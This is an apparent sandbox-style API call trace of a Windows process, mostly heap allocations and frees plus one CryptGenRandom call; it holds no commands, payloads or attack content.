	[0030.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x596f48
	[0030.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6c38
	[0030.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6cc0
	[0030.676] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5ba730) returned 1
	[0030.676] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0030.676] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9168
	[0030.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0030.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5ba730
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x596fd0
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba840
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba950
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6cc0
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10c) returned 0x5baa60
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9048
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bab78
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b9048
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bac88
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba950 | out: hHeap=0x580000) returned 1
	[0030.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bab78 | out: hHeap=0x580000) returned 1
	[0030.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa60 | out: hHeap=0x580000) returned 1
	[0030.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bac88 | out: hHeap=0x580000) returned 1
	[0030.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9048
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8fb8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8f28
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e98
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e08
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8d78
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8ce8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8c58
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8bc8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8b38
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8aa8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8a18
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8988
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b88f8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8868
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b87d8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8748
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b91f8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9288
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9318
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b93a8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9438
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b94c8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9558
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b95e8
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9678
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9708
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9798
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9828
	[0030.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b98b8
	[0030.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9948
	[0030.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b99d8
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8fb8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8c58 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8bc8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8b38 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8aa8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8a18 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8988 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b88f8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8868 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b87d8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8748 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b91f8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9288 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9318 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b93a8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9438 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b94c8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9558 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b95e8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9678 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9708 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9798 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9828 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b98b8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9948 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b99d8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba730 | out: hHeap=0x580000) returned 1
	[0030.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5ba730
	[0030.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5ba950
	[0030.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6cc0
	[0030.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5baa58
	[0030.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bab68
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba950 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bac78
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b90d8
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bad88
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
